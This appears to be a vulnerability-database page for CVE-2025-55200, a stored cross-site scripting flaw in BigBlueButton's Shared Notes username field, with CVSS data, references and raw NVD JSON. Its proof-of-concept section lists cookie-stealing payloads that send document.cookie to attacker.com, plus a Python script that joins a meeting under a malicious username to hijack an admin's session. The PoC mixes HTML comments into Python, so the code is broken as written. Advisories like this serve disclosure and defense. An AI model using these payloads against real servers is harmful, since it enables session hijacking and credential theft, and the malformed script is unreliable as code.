CVE-2025-55200

Description

BigBlueButton is an open-source virtual classroom. In versions prior to 3.0.13, the "Shared Notes" feature contains a Stored Cross-Site Scripting (XSS) vulnerability with the input location being the "Username" field and the output location on the "Shared Notes" page, when a user with a malicious username is editing content. This vulnerability allows a low-privileged user to execute arbitrary JavaScript in the context of higher-privileged users (e.g., Admins) who open the Shared Notes page. Version 3.0.13 fixes the issue.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:bigbluebutton:bigbluebutton:*:*:*:*:*:*:*:* - VULNERABLE

BigBlueButton < 3.0.13

bbb-pads < v1.5.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2025-55200: BigBlueButton Stored XSS via Username field
Vulnerability: Stored XSS in Shared Notes feature
Attack Vector: Username field -> Shared Notes page rendering
-->

<!-- Step 1: Register or join a BigBlueButton meeting with a malicious username -->
<!-- The malicious username contains JavaScript payload that will be stored -->

<!-- Malicious Username Payload Examples: -->

<!-- Payload 1: Simple cookie stealing -->
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

<!-- Payload 2: Session hijacking via image tag -->
<img src=x onerror="new Image().src='http://attacker.com/log?c='+document.cookie">

<!-- Payload 3: SVG-based XSS -->
<svg/onload=alert('XSS-'+document.domain)>

<!-- Payload 4: Event handler based -->
<body onload="fetch('http://attacker.com/exfil',{method:'POST',body:document.cookie})">

<!-- Step 2: Join the meeting and edit the Shared Notes -->
<!-- The malicious username will be rendered in the Shared Notes page -->

<!-- Step 3: When an admin or privileged user opens the Shared Notes page, -->
<!-- the stored XSS payload executes in their browser context -->

<!-- Python exploit example to automate registration with malicious username -->
import requests

TARGET = "https://bbb.example.com"
MEETING_ID = "random-meeting-id-12345"
ATTACKER_SERVER = "http://attacker.com/steal"

# Malicious username with XSS payload
malicious_username = f'<img src=x onerror="new Image().src=\'{ATTACKER_SERVER}?c=\'+document.cookie">'

# Join meeting API endpoint
join_url = f"{TARGET}/bigbluebutton/api/join"
params = {
    'fullName': malicious_username,
    'meetingID': MEETING_ID,
    'password': 'attendee-password',
    'joinURL': f"{TARGET}/bigbluebutton/api/join",
}

# Note: Actual API call would require proper checksum from BBB server
response = requests.get(join_url, params=params)
print(f"Joined meeting with malicious username: {malicious_username}")
print("Waiting for admin to open Shared Notes page...")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-55200
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-55200
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-55200/
[4] VulDB https://vuldb.com/cve/CVE-2025-55200
[5] https://github.com/bigbluebutton/bbb-pads/pull/67
[6] https://github.com/bigbluebutton/bbb-pads/releases/tag/v1.5.4
[7] https://github.com/bigbluebutton/bigbluebutton/pull/23693
[8] https://github.com/bigbluebutton/bigbluebutton/security/advisories/GHSA-9jv9-cjrm-grj2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-55200", "sourceIdentifier": "[email protected]", "published": "2025-10-09T19:15:43.663", "lastModified": "2025-10-20T15:30:19.377", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BigBlueButton is an open-source virtual classroom. In versions prior to 3.0.13, the \"Shared Notes\" feature contains a Stored Cross-Site Scripting (XSS) vulnerability with the input location being the \"Username\" field and the output location on the \"Shared Notes\" page, when a user with a malicious username is editing content. This vulnerability allows a low-privileged user to execute arbitrary JavaScript in the context of higher-privileged users (e.g., Admins) who open the Shared Notes page. Version 3.0.13 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bigbluebutton:bigbluebutton:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0.13", "matchCriteriaId": "0AF3725E-941E-4C75-AA27-20DC97552948"}]}]}], "references": [{"url": "https://github.com/bigbluebutton/bbb-pads/pull/67", "source": "[email protected]", "tags": ["Issue Tracking", "Product"]}, {"url": "https://github.com/bigbluebutton/bbb-pads/releases/tag/v1.5.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/bigbluebutton/bigbluebutton/pull/23693", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/bigbluebutton/bigbluebutton/security/advisories/GHSA-9jv9-cjrm-grj2", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}